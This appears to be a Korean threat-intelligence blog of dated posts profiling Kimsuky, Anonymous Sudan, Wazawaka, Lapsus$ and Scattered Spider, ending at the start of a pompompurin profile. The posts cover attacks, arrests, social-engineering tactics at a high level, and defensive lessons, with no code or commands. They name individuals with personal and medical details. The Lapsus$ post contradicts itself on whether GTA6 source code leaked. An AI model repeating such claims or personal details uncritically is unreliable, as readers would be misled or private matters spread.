#

APT43 - KIMSUKY

ぜんあく — Thu, 27 Aug 2026 13:42:20 +0900

[CTI] Kimsuky (APT43) — 북한 정찰총국 사이버 첩보 부대

ACTIVE · 2012~PRESENT NORTH KOREA RGB ESPIONAGE · SPEAR-PHISHING

APT Profile — North Korea Reconnaissance General Bureau

Kimsuky / APT43

북한 정찰총국 63연구소 — 한국·미국·일본 대상 지정학적 첩보 수집

북한 김정은 정권의 핵·외교·안보 정책 결정을 지원하기 위해 한국 정부, 외교관, 학자, 싱크탱크를 표적으로 삼는 사이버 첩보 부대. 2024년 DMARC 우회 스피어피싱, 2025년 QR코드 퀴싱까지 진화된 사회공학 기법을 사용한다.

2012

활동 시작

RGB

정찰총국 63연구소

APT43

업계 추적명

2023

미국 제재

韓·美·日

주요 피해국

배후: 북한 정찰총국(RGB) 63연구소 별명: APT43 · Black Banshee · Velvet Chollima · Emerald Sleet · TA427 최종 업데이트: 2026년 8월

️

그룹 식별 정보

공식 명칭

Kimsuky

MITRE ATT&CK

G0094

소속 기관

북한 정찰총국(RGB) 63연구소

작전 유형

사이버 첩보 (Espionage)

주요 표적

싱크탱크·학자·외교관·방산·핵

미국 제재

2023년 OFAC 제재

FBI 경보

2024.05 DMARC · 2026.01 QR코드

현재 상태

활발히 작전 중

주요 공격 사례

DOJ가 기소한 북한 정찰총국(RGB) 소속 해커 Kim Il — Lazarus·Kimsuky 모두 동일 RGB 산하. 출처: FBI / DOJ / Krebs on Security

북한 RGB AppleJeus 악성코드 작동 구조 — 합법적 암호화폐 앱으로 위장 후 감염. CISA 공식 발표. 출처: CISA / Krebs on Security

2014~2016 · 한국 핵·안보 연구기관

KHNP·국방연구원·외교부 침투

한국수력원자력(KHNP) 내부 데이터 탈취. 원자력 발전소 도면, 운영 매뉴얼 유출 협박. 국방연구원(KIDA), 외교부 연구원 스피어피싱으로 침투. 정권 핵심 정보 수집이 목적.

2018~2020 · 미국 싱크탱크·정책 기관

RAND, AEI, CSIS 등 미국 정책 전문가 표적

미국 대북 정책 전문가들에게 "인터뷰 요청" 이메일 발송 후 BabyShark 악성코드 전달. 북한 제재, 비핵화 협상 내용을 실시간으로 평양에 보고. FBI+CISA+사이버사령부 공동 경보 발령(2020).

2021~2022 · COVID-19 백신·제약사 탈취

AstraZeneca·Pfizer 백신 연구 탈취 시도

연구원들에게 링크드인으로 접근 후 스피어피싱 이메일. 백신 생산 방법, 임상 데이터, 내부 시스템 자격증명 탈취 시도. 북한의 독자 백신 개발 정보 확보 목적으로 추정.

2024.05 · DMARC 우회 스피어피싱

FBI+NSA+국무부 공동 경보 — 도메인 위장 이메일

잘못 설정된 DMARC 레코드를 악용해 합법적 도메인에서 발송된 것처럼 위장된 이메일 발송. 기자·학자·대북 전문가 사칭. FBI: "한국·미국·유럽의 정책 기관이 주된 표적".

2025~2026 · QR코드 퀴싱 캠페인

FBI 긴급 경보 — MFA 우회 세션 토큰 탈취

스피어피싱 이메일에 악성 QR코드 첨부. 피해자가 모바일로 스캔하면 기업 PC의 URL 검사·필터링을 우회. 세션 토큰 탈취 후 MFA 없이 클라우드 계정 접근. 2025년 5~6월 미국 싱크탱크·전략자문사 4건 확인.

악성코드 패밀리

BabyShark

VBS 기반 초기 침투 도구. 정찰·자격증명 수집. 싱크탱크 인터뷰 미끼 이메일에 첨부

AppleSeed

Android·Windows용 백도어. 파일 탈취·스크린샷·키로깅. 한국 정부기관 표적

FlowerPower

PowerShell 기반 RAT. C2 통신에 구글 서비스 악용. LOTS(Living Off Trusted Sites)

ReconShark

정찰 전문 악성코드. 설치된 소프트웨어·AV 솔루션 목록 수집. 2023 Sentinel One 발견

DocSwap

Android RAT. 문서 탈취 특화. 2025년 한국 물류회사 사칭 피싱에서 발견

Gh0stRAT

중국산 RAT 변형 사용. 원격 제어·키로깅. 초기 침투 후 측면 이동에 활용

주요 타임라인

2012

활동 시작

카스퍼스키 최초 탐지. 한국 정부·연구기관 표적 스피어피싱 시작.

2020

CISA·FBI·사이버사령부 공동 경보

Kimsuky TTP 공식 발표. BabyShark·AppleSeed 악성코드 IOC 공개.

2023

미국 재무부 OFAC 제재

대북 제재 회피 지원 및 WMD 프로그램 지원 이유로 Kimsuky 공식 제재.

2024.05

FBI+NSA+국무부 DMARC 경보

DMARC 잘못된 설정 악용 스피어피싱. 합법 도메인 위장. 정책 기관·싱크탱크 집중 표적.

2026.01

FBI QR코드 퀴싱 경보

MFA 우회 세션 토큰 탈취 목적 QR코드 캠페인. 2025년 5~6월 미국 기관 4건 피해 확인.

CTI 방어 핵심 교훈

Kimsuky 방어 핵심

DMARC 정책을 "p=reject"로 설정 — DMARC 잘못된 설정이 Kimsuky의 핵심 공격 벡터. 즉시 DMARC·DKIM·SPF 전체 검토 필수.

QR코드 포함 이메일 의심 — QR코드는 기업 URL 필터링을 우회한다. 이메일 내 QR코드 정책 수립과 교육 필요.

링크드인 채용·인터뷰 요청 주의 — Kimsuky의 대표적 사회공학 방식. 특히 방산·정책·핵 분야 종사자는 더욱 주의.

MFA 우회 세션 탈취 방어 — 세션 토큰 보호를 위한 디바이스 바인딩 MFA 또는 FIDO2 키 사용 권장.

참고 자료

CISA AA20-301A "Kimsuky" (2020) · FBI+NSA+State Dept "North Korean DMARC" (2024.05) · FBI "Malicious QR Codes" (2026.01) · MITRE ATT&CK G0094 · SentinelOne "ReconShark" (2023)

Alaa Salah Yusuuf Omer

ぜんあく — Thu, 27 Aug 2026 13:03:43 +0900

[CTI] Anonymous Sudan — 35,000건 DDoS로 인터넷을 마비시킨 형제

ARRESTED · MAR 2024 · INDICTED OCT 2024 AHMED: 종신형 위기 · ALAA: 5년 35,000+ DDOS · OPERATION POWEROFF

Cybercriminal Group Profile — Anonymous Sudan

Anonymous Sudan

35,000건 DDoS로 인터넷을 마비시킨 수단 형제

ChatGPT·Microsoft·FBI·병원을 1년간 35,000번 이상 공격한 수단 형제. Ahmed(22세)와 Alaa(27세) Omer는 2024년 미국 역사상 가장 강력한 DDoS 기소를 받았다. Ahmed는 LA 병원 공격으로 종신형에 처할 수 있다.

35,000+

총 DDoS 공격 횟수

1년

공격 기간

70개국

피해 국가

종신형

Ahmed 최대 형량

2024.03

형제 동시 체포

분류: DDoS-for-Hire / Hacktivism 도구: DCAT (Godzilla/Skynet/InfraShutdown) 최종 업데이트: 2026년 8월

Anonymous Sudan(AnonSudan) — FBI 압수 자료. 케냐 인터넷 인프라 공격 등 전 세계 35,000건+ DDoS 수행. 출처: FBI / Krebs on Security

형제 프로필

공격 총괄 · 소셜미디어 담당

Ahmed Salah Yousif Omer

나이22세

국적수단

역할공격 실행 · SNS 공표

혐의 건수4건

최대 형량종신형 (병원 공격)

체포2024년 3월

도구 개발 · 인프라 관리

Alaa Salah Yusuuf Omer

나이27세

국적수단

역할DCAT 툴 개발·인프라

혐의 건수1건

최대 형량5년

체포2024년 3월

Anonymous Sudan이 Microsoft Azure 서비스를 공격하며 Telegram에 공표한 실제 증거 — Microsoft 365, Outlook, OneDrive 수시간 마비. 출처: BleepingComputer

DCAT — 자체 개발 DDoS 슈퍼무기

도구명 DCAT (Distributed Cloud Attack Tool) 별명 Godzilla · Skynet Botnet · InfraShutdown 유형 L7 HTTP Flood (애플리케이션 계층) DDoS 원리 Open Proxy Resolver — 자동 포워딩 기기 활용 (봇넷 아님) 서비스 DDoS-for-Hire (외부 고객 판매, 추가 수익 창출) 압수 2024.03 FBI 서버·소스코드·명령 릴레이 전량 압수

주요 공격 사례

2023 · MICROSOFT (반복 공격)

Azure·M365·Outlook·Teams·OneDrive 수십 차례 마비

Microsoft 클라우드 서비스 대규모 반복 DDoS. Azure portal, Outlook, OneDrive, Teams 동시 다운. 수억 명 접근 불가. Microsoft가 공식으로 Anonymous Sudan 공격 인정.

2023 · OPENAI (ChatGPT)

ChatGPT 대규모 서비스 장애

ChatGPT 주요 장애 중 Anonymous Sudan 공격으로 확인. "AI의 반이스라엘 편향"을 이유로 공격 주장. OpenAI 공식 DDoS 공격 인정.

2023 · CEDARS-SINAI HOSPITAL (LA)

응급환자 이송 발생 — 미국 역사상 최초 사이버 공격 종신형 혐의

로스앤젤레스 Cedars-Sinai Medical Center 공격으로 응급 의료 시스템 마비. 환자들이 다른 병원으로 이송되는 실질적 인명 위협 발생. Ahmed에 대해 미국 역사상 최초로 사이버 공격에 "reckless endangerment of life" 혐의 적용 → 종신형 가능.

2023 · 미국 정부기관 (FBI·DOJ·DoD·국무부)

미국 주요 정부기관 DDoS

FBI, 법무부(DOJ), 국방부(DoD), 국무부, 앨라배마 주 정부 사이트 공격. 정부 서비스 수시간~수일 간헐적 장애. 미군 사이버 당국도 직접 피해.

2023~2024 · 전 세계 70개국

35,000건 DDoS — 국가·기업·인프라 무차별 공격

프랑스 정부기관, 영국 케임브리지대학, UAE Flydubai, 이스라엘 BAZAN Group, 런던 인터넷 익스체인지 등. LA 지역만 70회 이상. Cloudflare, DigitalOcean, Akamai도 직접 피해.

⚠️

KillNet 연계 의혹 — "진짜 수단인가 러시아인가?"

Anonymous Sudan은 "수단 이익을 위한 해킹"을 주장했지만 러시아 친크렘린 그룹 KillNet과의 연계로 많은 연구자들이 러시아 위장 작전으로 의심했다. Cloudflare는 "LameDuck"으로 추적하며 친러 성향 지적. 그러나 DOJ 기소는 두 수단 형제를 실제 운영자로 특정했다.

타임라인

JAN2023

Anonymous Sudan 활동 시작

Telegram 채널 개설 후 즉시 대규모 DDoS 시작. "수단을 방해하는 모든 것에 대항" 명분. KillNet과 초기 연대.

2023

1년간 35,000건+ DDoS 전개

Microsoft·ChatGPT·FBI·병원·대학·정부기관 무차별 공격. DCAT 도구를 외부에 DDoS-for-Hire 서비스로 판매하며 수익 창출.

MAR2024

FBI DCAT 서버 압수 + 형제 체포

법원 허가 압수 영장으로 DCAT 서버·소스코드·명령 릴레이 전량 압수. 형제 동시 체포(국가 미공개). FBI가 직접 인터뷰 진행.

OCT2024

기소장 공개 — Operation PowerOFF

국제 공조 Operation PowerOFF 일환. Google, Microsoft, Cloudflare, AWS, Akamai, PayPal, CrowdStrike 민간 기업 협조. Ahmed 종신형 가능. Alaa 최대 5년.

CTI 관점 핵심 교훈

Anonymous Sudan 사건의 교훈

의료기관 DDoS는 생명 위협이다 — Cedars-Sinai 공격은 실제 환자 이송을 유발했다. 의료기관 DDoS 방어를 최우선 보안 과제로 다뤄야 한다.

L7 DDoS는 봇넷 없이도 가능 — DCAT는 일반 Open Proxy를 활용해 기존 봇넷 탐지 방어를 우회했다. WAF + CDN + Rate Limiting 3중 방어 필수.

DDoS-for-Hire 생태계 — DCAT를 외부 고객에게 판매하며 수익을 창출했다. 이런 서비스 이용 자체도 범죄임을 조직에 교육해야 한다.

민관 협력이 핵심 — Google·Microsoft·Cloudflare·AWS 등이 FBI 수사에 협조해 기소를 가능하게 했다. 사이버 위협 정보 공유 체계 구축 필수.

핵티비즘 명분의 사이버 범죄 — 정치적 명분을 내세워도 DDoS는 범죄다. 특히 의료·정부 인프라 공격은 최고 형량이 적용될 수 있다.

참고 자료

DOJ 기소 발표 (2024.10.16) · BleepingComputer "Anonymous Sudan Indicted" · The Hacker News · SecurityWeek · Cloudflare LameDuck Report · Flashpoint "USA vs Omer Brothers" · FBI Criminal Complaint

Wazawaka

ぜんあく — Thu, 27 Aug 2026 12:44:47 +0900

[CTI] Wazawaka — 母러시아의 보호 아래 활동한 랜섬웨어 황제

ARRESTED · RUSSIA 2024 FBI WANTED · $10M BOUNTY LOCKBIT · HIVE · BABUK · RANSOMWARE

Cybercriminal Profile — Russian Ransomware Affiliate

Wazawaka

母러시아의 보호 아래 활동한 랜섬웨어 황제

LockBit·Hive·Babuk·Conti 등 5개 랜섬웨어 그룹에서 활동하며 $4억 요구, $2억 수령한 러시아 최악의 랜섬웨어 운영자. FBI $1,000만 수배에도 "Mother Russia will help you"를 외치다 결국 2024년 러시아 당국에 체포됐다.

$400M+

요구 몸값 총액

$200M

실제 수령액

$10M

FBI 현상금

5개

소속 랜섬웨어 그룹

체포

러시아 2024.11

분류: Ransomware Affiliate / Developer 국적: 러시아 (Kaliningrad) 최종 업데이트: 2026년 8월

신원 프로필

Mikhail Pavlovich Matveev
FBI 공식 수배 포스터 · $10M 현상금

실명

Mikhail Pavlovich Matveev

주요 닉네임

Wazawaka · Boriselcin · m1x

추가 닉네임

Uhodiransomwar · Orange

생년월일

1992년 8월 17일

거주지

Kaliningrad, 러시아

소속 그룹

LockBit · Hive · Babuk · Conti · DarkSide

미국 기소

2023년 5월 (기소 중)

러시아 체포

2024년 11월 29일

— Wazawaka, 2021년 러시아 사이버 범죄 포럼에서 "Mother Russia will help you. Love your country, and you will always get away with everything."

— Wazawaka, TechCrunch 인터뷰 (2023년 기소 후) "We are Russian people, we are not afraid of the American government. My life has changed for the better after the sanctions. Sanctions are a plus for my security."

셀카 비디오 — "안녕 Brian Krebs!"

Wazawaka는 2022년 2월 자신을 추적해온 보안 기자 Brian Krebs에 대한 반응으로 Twitter에 셀카 비디오 시리즈를 게시했다. VPN 취약점 익스플로잇 코드를 공개하며 미국 정부와 보안 연구자들을 조롱했다.

Wazawaka 실제 셀카 — 약지 없는 왼손을 보여주며 자신이 Wazawaka임을 증명. "내기에서 지면 손가락을 직접 잘랐다"고 알려짐. 출처: Krebs on Security

Wazawaka가 만든 트위터 계정 @fuck_maze — 보안 연구자들을 조롱하고 VPN 취약점 익스플로잇 코드 공개. 출처: Krebs on Security

주요 공격 사례

2020.06 · LOCKBIT — 뉴저지 패식 카운티 경찰서

법집행기관 직접 랜섬웨어 공격

뉴저지 패식 카운티 경찰서를 LockBit으로 암호화. 법집행기관을 직접 타겟으로 삼은 대담한 공격. 기소장 명시 사건.

2021.04 · BABUK — 워싱턴 D.C. 경찰청 (MPD)

250GB 경찰 데이터 유출 + $4M 요구

미국 수도 워싱턴 D.C. 경찰청(MPD) 침투. 경찰 정보원 신원, 수사 파일 250GB 탈취. $4M 요구 후 미지급 시 전량 공개.

2022.05 · HIVE — 뉴저지 비영리 행동건강 기관

의료·복지 기관 공격

비영리 정신건강·행동건강 지원 기관 Hive 랜섬웨어 공격. 취약 계층 대상 서비스 기관에 대한 무자비한 공격.

2020~2023 · 다수

병원·학교·정부기관 전 세계 공격

총 $400M 이상 몸값 요구, $200M 수령. 랜섬웨어 그룹 어필리에이트로 각 몸값의 80% 수취. RAMP 다크웹 포럼 창설해 랜섬웨어 커뮤니티 허브 운영.

주요 타임라인

2020

LockBit·Babuk·Hive 랜섬웨어 어필리에이트 활동 시작

뉴저지 경찰, D.C. MPD 등 공격. 다크웹 포럼 RAMP 창설.

JAN2022

Krebs on Security — 신원 최초 공개

보안 기자 Brian Krebs가 Wazawaka = Mikhail Matveev를 공개적으로 특정.

FEB2022

Twitter에 셀카 비디오 시리즈 게시

Krebs에 대한 반응으로 셀카 영상 공개. VPN 취약점 익스플로잇 코드 공개. "I just love myself a lot."

MAY2023

미국 DOJ 기소 + FBI $10M 현상금

뉴저지·워싱턴 D.C. 2개 기소장. 재무부 제재 추가. 러시아 거주로 미국 송환 불가.

JAN2024

러시아에서 새로운 랜섬웨어 개발 계속

기소 이후에도 새로운 랜섬웨어 개발 계속. "제재는 오히려 내 보안에 도움이 된다"고 인터뷰에서 발언.

NOV2024

러시아 칼리닌그라드에서 체포

칼리닌그라드 내무부·검찰이 기소. 미국이 아닌 러시아 자체 수사로 체포. 최대 징역 4년 또는 벌금. 미국 송환 없음.

CTI 관점 핵심 교훈

Wazawaka 사건의 교훈

러시아도 결국 자국 해커를 체포한다 — "Mother Russia will protect me"는 더 이상 통하지 않는다. 러시아가 자국 이익을 위해 선택적으로 해커를 희생시킨다.

병원·학교 공격은 더 무거운 처벌을 부른다 — 취약 계층 대상 랜섬웨어는 국제적 공조를 촉진한다.

RAMP 같은 다크웹 포럼이 랜섬웨어 생태계를 강화한다 — 포럼 자체가 범죄 인프라. 포럼 운영자 기소가 생태계 약화에 효과적.

공개적 자기 과시가 역추적의 단서가 된다 — 셀카 영상, 포럼 발언이 신원 특정에 사용됐다.

참고 자료

Krebs on Security "Wazawaka Indicted" (2023.05) · DOJ 기소장 (2023.05) · Infosecurity Magazine "Russia Arrests Wazawaka" (2024.12) · CyberScoop · BleepingComputer · Security Affairs

Lapsus Arion Kurtaj

ぜんあく — Thu, 27 Aug 2026 12:24:07 +0900

[CTI] Lapsus$ — 파이어스틱으로 GTA6 유출한 18세 해커

CONVICTED · HOSPITAL ORDER 2023 LAPSUS$ · ARION KURTAJ GTA6 LEAK · UK · 2022

Cybercriminal Group Profile — Lapsus$ Hacking Group

Lapsus$

아마존 파이어스틱으로 GTA6를 유출한 18세 해커

호텔 TV에 연결된 아마존 파이어스틱 하나로 Rockstar Games를 침투해 GTA6 영상 90개를 유출한 Arion Kurtaj. 중증 자폐증을 가진 18세 영국 소년이 Uber·Nvidia·Microsoft·Samsung을 줄줄이 해킹하며 $10M+ 피해를 입혔다.

90개

GTA6 유출 영상

$10M+

피해 규모

18세

범행 당시 나이

ASD

중증 자폐증

무기한

정신병원 입원

분류: Cybercriminal / Social Engineering 핵심 인물: Arion Kurtaj (TeaPotUberHacker) 최종 업데이트: 2026년 8월

핵심 인물 — Arion Kurtaj

Arion Kurtaj
TeaPotUberHacker · 옥스퍼드셔, 영국

실명

Arion Kurtaj

닉네임

TeaPotUberHacker

국적 / 나이

영국 / 18세

거주지

옥스퍼드셔, 영국

의료 상태

중증 자폐증 (ASD)

학력

자폐증 특수학교

선고

정신병원 무기한 입원

현황 (2026)

퇴원 → 교도소 재판 대기

⚠️

경찰 보호 중 호텔에서 Amazon Fire Stick + TV로 해킹

노트북 압수 후 경찰 보호 Travelodge 호텔 투숙 중, 호텔 TV·Amazon Fire Stick·휴대폰만으로 Rockstar Games Slack 침투 후 GTA6 영상 유출. 정신과 의사: "즉시 사이버 범죄로 복귀하고자 하는 강한 의지 확인."

역대 최대 게임 유출 — GTA6 (2022.09.18)

GTAForums 원본 유출 포스트 (2022.09.18) — "Hi, Here are 90 footage/clips from GTA 6." teapotuberhacker 계정 최초 게시. 출처: GTAForums / Dexerto

유출된 GTA 6 개발 영상 90개가 담긴 RAR 아카이브 (3.4GB). 텔레그램에서는 GTA 5 소스코드를 $10,000+ 에 판매. GTA 6 소스코드는 "협상용 미공개". 출처: BleepingComputer

BleepingComputer 기사 헤더 이미지 — GTA 5 기반 이미지 사용. 실제 유출된 것은 GTA 6 개발 영상 90개 + GTA 5 소스코드. 출처: BleepingComputer / Rockstar Games

2023년 런던 재판에서 핵심 증거로 제출된 GTA6 유출 관련 자료. 출처: Sportskeeda / 법원 기록

Lapsus$ 그룹 개요

⚠️ 핵심 구분: 유출된 영상은 GTA 6 개발 영상 90개이며, 텔레그램에서 판매된 소스코드는 GTA 5 소스코드다. GTA 6 소스코드는 "Rockstar가 협상에 응하지 않으면 공개"라고 협박만 했을 뿐 실제로는 유출되지 않았다.

Lapsus$는 영국·브라질 등 출신의 10대 해커들로 구성된 국제 사이버 범죄 집단이다. 소셜 엔지니어링과 내부자 매수에 특화되어 있으며, 랜섬웨어 대신 소스코드·내부 영상 유출을 선호한다. 텔레그램 채널로 공격 성과를 실시간 공개하며 명성을 추구했다.

2022년 멤버 다수가 체포된 후 사실상 해체됐으며, 이후 Scattered Spider·ShinyHunters와 협력하는 "Trinity of Chaos" 체제로 연계됐다.

주요 해킹 사례

2022.02 · NVIDIA

소스코드 1TB 탈취 — GPU 드라이버 오픈소스 요구

DLSS 기술 소스코드, 직원 자격증명 71,000건 탈취. 몸값으로 GPU 드라이버 오픈소스 공개 요구 — 독특한 요구사항으로 화제.

2022.03 · SAMSUNG

갤럭시 소스코드 190GB 무료 유출

생체인증 알고리즘·신뢰 앱 코드 포함 190GB 텔레그램에 무료 공개.

2022.03 · MICROSOFT

Bing·Cortana 소스코드 37GB 유출

Azure DevOps 저장소 침투. Microsoft 내부 시스템 노출 공식 인정.

2022.09 · UBER

"저는 해커입니다" — 내부 Slack에 공지

아웃소싱 IT 벤더 사칭으로 MFA 우회. 내부 Slack에 해킹 사실 직접 공지. AWS·소스코드 완전 노출.

2022.09 · ROCKSTAR GAMES

GTA6 영상 90개 유출 — 역대 최대 게임 보안 사고

경찰 보호 호텔에서 Fire Stick으로 Rockstar Slack 침투. GTA6 개발 영상 90개·소스코드 GTAForums 공개. Rockstar 피해 복구 비용 $5M+.

체포 및 법적 절차

JAN2022

1차 체포 — 16세

Lapsus$ 수사 중 영국 경찰 체포. 보석 석방.

MAR2022

2차 체포 → 경찰 보호 호텔 수용

해커 커뮤니티 신원 노출 위협. Travelodge 호텔 투숙 중 Rockstar 해킹 감행.

SEP2022

GTA6 유출 직후 3차 체포

Amazon Fire Stick·호텔 TV·휴대폰 증거물로 압수됨.

AUG2023

런던 배심원단 유죄 평결

재판 불능 판정에도 "행위 자체는 했다" 평결. 컴퓨터 무단접근·공갈·사기 유죄.

DEC2023

정신병원 무기한 입원 선고

판사: "재범 의지와 기술적 능력이 충분하다." 의사가 "더 이상 위험하지 않다" 판단할 때까지 무기한.

JUL2026

병원 퇴원 → 교도소 재판 대기

정신병원 퇴원 후 교도소 수감 상태로 재판 대기 중.

핵심 전술

내부자 매수

• 텔레그램에 $20K~$200K 공개 모집
• 통신사·기업 직원 직접 접근
• SIM 스왑 지원자 모집

소셜 엔지니어링

• IT 헬프데스크 직원 사칭
• MFA 피로 공격 (MFA Bombing)
• 내부 Slack·협업툴 침투

실시간 유출 공개

• 텔레그램으로 즉시 공개
• 피해 기업 공개 압박 극대화
• 소스코드 무료 유출

MFA 우회

• SIM 스와핑 + SMS OTP 탈취
• MFA Bombing (피로 공격)
• 내부 자격증명 탈취 재사용

CTI 관점 핵심 교훈

Lapsus$ 사건의 교훈

기기 없어도 해킹 가능 — 노트북 압수 후 Fire Stick으로 감행. 네트워크 접근만 있으면 어떤 기기도 공격 도구다.

내부자 위협 예방 — 직원 매수로 MFA 우회. 내부자 이상행동 탐지·정기 교육 필수.

10대도 글로벌 기업을 무너뜨린다 — 기술이 아닌 사람의 취약점을 노린다. 인적 방어가 기술 방어보다 중요.

Slack·협업 툴이 공격 경로 — 내부 Slack 침투로 모든 정보 수집. 협업 플랫폼 접근 권한 최소화 필수.

SMS 기반 MFA 부족 — SIM 스와핑으로 우회 가능. FIDO2·하드웨어 키 전환 필요.

참고 자료

BleepingComputer "GTA 6 source code and videos leaked" · DarkOwl 2023 Cybercriminal Arrests · Bitdefender "LAPSUS$ found guilty" · PC Gamer "GTA 6 leaker released from hospital" (2026.07) · Bloomberg LAPSUS$ Trial · Flashpoint "GTA VI Data Breach"

Scattered Spider

ぜんあく — Wed, 26 Aug 2026 17:56:32 +0900

[CTI] Scattered Spider — MGM·Caesars를 무너뜨린 10대 해커 집단

MEMBERS ARRESTED 2024~2026 SCATTERED SPIDER SOCIAL ENGINEERING · RANSOMWARE

Cybercriminal Group Profile — The Com / UNC3944

Scattered Spider

MGM·Caesars를 무너뜨린 10대 해커 집단

고도화된 소셜 엔지니어링으로 MGM 리조트, 시저스 엔터테인먼트, Okta를 공격한 영미권 10대 해커 집단. 기술이 아닌 전화 한 통으로 대기업을 무너뜨렸다. 2024년부터 주요 멤버들이 속속 체포되고 있다.

130+

피해 조직 수

$115M+

랜섬 수익

10대

핵심 멤버 연령대

다중 체포

2024~2026

분류: Cybercriminal Group / Social Engineering 별칭: UNC3944 · Octo Tempest · The Com 최종 업데이트: 2026년 8월

그룹 개요

Scattered Spider는 주로 영국과 미국의 10대~20대 초반 해커들로 구성된 느슨한 범죄 집단이다. "The Com"이라는 영어권 해커 언더그라운드 네트워크에 뿌리를 두고 있으며, 기술적 취약점 익스플로잇보다 소셜 엔지니어링과 SIM 스와핑에 특화돼 있다.

콜센터 직원을 속여 MFA를 우회하거나, IT 헬프데스크를 가장해 내부 접근을 얻는 방식이 핵심 전술이다. 이를 통해 Okta, MGM, Caesars 같은 대기업의 보안을 뚫었다.

2024년 6월 — 스페인 팔마 드 마요르카 공항에서 FBI 요청으로 체포된 Tyler Buchanan (Tylerb). 이탈리아행 비행기 탑승 직전 스페인 경찰에 검거됐다. 출처: 스페인 국가경찰 / Krebs on Security

왜 "Scattered Spider"인가?

보안 기업 CrowdStrike가 붙인 이름. 느슨하게 연결된(Scattered) 구성원들이 거미줄(Spider)처럼 다양한 공격 경로를 사용하는 것에서 유래. FBI는 UNC3944, Microsoft는 Octo Tempest로 추적.

핵심 멤버 (체포 현황)

Tylerb

Tyler Robert Buchanan, 24세, 영국 스코틀랜드

체포 2024.06 스페인 → 2025.04 미국 송환, 유죄 인정 2026.04

Sosa / King Bob

Noah Michael Urban, 20세, 미국 플로리다

체포 2024.01 · 징역 10년 + 1,300만달러 배상

Thalha Jubair

19세, 영국

체포 2025.07 런던 · Transport for London 공격 연루

Owen Flowers

18세, 영국

체포 2025.07 런던 · Marks&Spencer, Co-op 공격

Waifu / Connor Moucka

캐나다

체포 2024.11 캐나다 · Snowflake 해킹 연루

다수 불명 멤버

미국·영국 청소년 다수

활동 중 (수사 진행 중)

주요 공격 사례

2022 · OKTAPUS CAMPAIGN

Twilio, LastPass, DoorDash, Mailchimp 연쇄 공격

대규모 SMS 피싱(Smishing)으로 Okta 고객사 130개 이상 침투. Twilio, DoorDash, Mailchimp, LastPass 등 실리콘밸리 기업 연쇄 해킹. Tyler Buchanan이 NameCheap 도메인을 통해 피싱 인프라 구축.

2023.09 · MGM RESORTS

라스베이거스 카지노 10일 마비 — 피해액 $100M+

LinkedIn에서 MGM 직원 정보 수집 → 10분 전화 한 통으로 IT 헬프데스크를 속여 MFA 우회 → ALPHV/BlackCat 랜섬웨어 배포. 피해액 1억 달러 이상. 슬롯머신·ATM·예약 시스템 10일간 마비.

2023.09 · CAESARS ENTERTAINMENT

랜섬 $15M 지불 — 조용한 합의

사회공학으로 아웃소싱 IT 벤더 침투 후 내부망 장악. Caesars는 공개 피해를 피하기 위해 요구 랜섬 $30M 중 $15M을 지불. SEC 공시 의무화로 결국 공개됨.

2024.08 · TRANSPORT FOR LONDON

런던 대중교통 시스템 마비

Owen Flowers, Thalha Jubair 가담. 런던 지하철·버스 실시간 시스템 침투. 직원 정보 탈취. 2025년 7월 두 10대 영국에서 체포.

2025 · MARKS&SPENCER · CO-OP · HARRODS

영국 유통·패션 대형 리테일 3사 연속 공격

ShinyHunters와 협력해 영국 최대 유통기업 연속 공격. Marks&Spencer는 온라인 주문 시스템 수 주 마비. Co-op은 직원 데이터 25만건 유출 확인.

2022년 Oktapus 캠페인에서 Twilio 직원에게 발송된 실제 SMS 피싱 메시지 — Okta 로그인 페이지로 위장한 링크. 출처: Krebs on Security

체포 타임라인

JAN2024

Noah Urban (Sosa) 체포

미국 플로리다. SIM 스와핑·암호화폐 탈취 혐의. 2025년 8월 징역 10년 선고 + $13M 배상.

JUN2024

Tyler Buchanan (Tylerb) 체포

스페인 팔마 드 마요르카 공항에서 체포. 이탈리아행 비행기 탑승 직전. 경쟁 해커 집단에게 집에서 협박당한 후 영국 탈출 시도 중 검거.

NOV2024

Connor Moucka (Waifu) 체포

캐나다 경찰. Snowflake 해킹 연루. AT&T가 데이터 삭제 대가로 $370K 지불한 사건.

JUL2025

Thalha Jubair · Owen Flowers 체포

런던 경찰. 각각 19세, 18세. Transport for London, Marks&Spencer 공격 연루.

APR2026

Tyler Buchanan 유죄 인정

미국 법원에서 전선 사기 및 신원 도용 공모 유죄 인정. 최소 $8M 암호화폐 탈취 인정.

핵심 TTP

소셜 엔지니어링

• IT 헬프데스크 가장 전화
• 콜센터 직원 조작 (Vishing)
• MFA 피로 공격 (MFA Fatigue)
• LinkedIn 직원 정보 수집

SIM 스와핑

• 통신사 직원 매수/속임
• 피해자 전화번호 탈취
• 2FA SMS 코드 가로채기
• 암호화폐 지갑 접근

피싱

• 대규모 SMS 스미싱
• Okta 로그인 페이지 위장
• NameCheap 등으로 도메인 대량 등록
• 실시간 크리덴셜 릴레이

수익화

• ALPHV·BlackCat 랜섬웨어 배포
• 암호화폐 직접 탈취
• 기업 데이터 매각 (ShinyHunters 협력)
• 이중 갈취 (데이터 공개 협박)

CTI 관점 교훈

Scattered Spider 사건의 교훈

기술보다 사람이 취약점이다 — 최첨단 보안 시스템도 전화 한 통에 무너질 수 있다. 헬프데스크 직원 교육이 핵심이다.

MFA만으로는 부족하다 — SIM 스와핑과 MFA 피로 공격으로 SMS 기반 2FA는 우회 가능하다. FIDO2/하드웨어 키 전환 필요.

10대도 대기업을 무너뜨린다 — 기술 수준이 아닌 심리전이 핵심. 직원 보안 인식 교육을 정기적으로 실시해야 한다.

아웃소싱 벤더가 공격 경로다 — Caesars는 IT 아웃소싱 업체를 통해 침투됐다. 제3자 공급망 보안 검토 필수.

공개 SNS가 정보 수집 도구다 — LinkedIn으로 직원 정보를 수집해 사회공학에 활용. 임직원 SNS 보안 정책 수립 필요.

실제 체포 현장 — 스페인 국가경찰 공식 X(트위터) 게시물 (2024.06.14)

Detenido en #PalmadeMallorca un joven #ciberestafador responsable del ataque informático a 45 empresas de #EEUU ➡️Era el líder de un grupo organizado dedicado al robo de información de empresas y de #criptomonedas y llegó a hacerse con el control de 391 #bitcoins
— Policía Nacional (@policia) June 14, 2024

참고 자료

DarkOwl 2024 Cyber Arrests · Cybernews "Major Hacker Arrests 2024" · Krebs on Security · The Hacker News · Lyrie Research "Scattered Spider Profile 2026" · Resecurity Trinity of Chaos Report

pompompurin

ぜんあく — Wed, 26 Aug 2026 17:45:13 +0900

[CTI] pompompurin — BreachForums 설립자의 정체와 몰락

CONVICTED · 2024 BREACHFORUMS FOUNDER CYBERCRIMINAL PROFILE · CTI

Cybercriminal Profile — BreachForums Founder

pompompurin

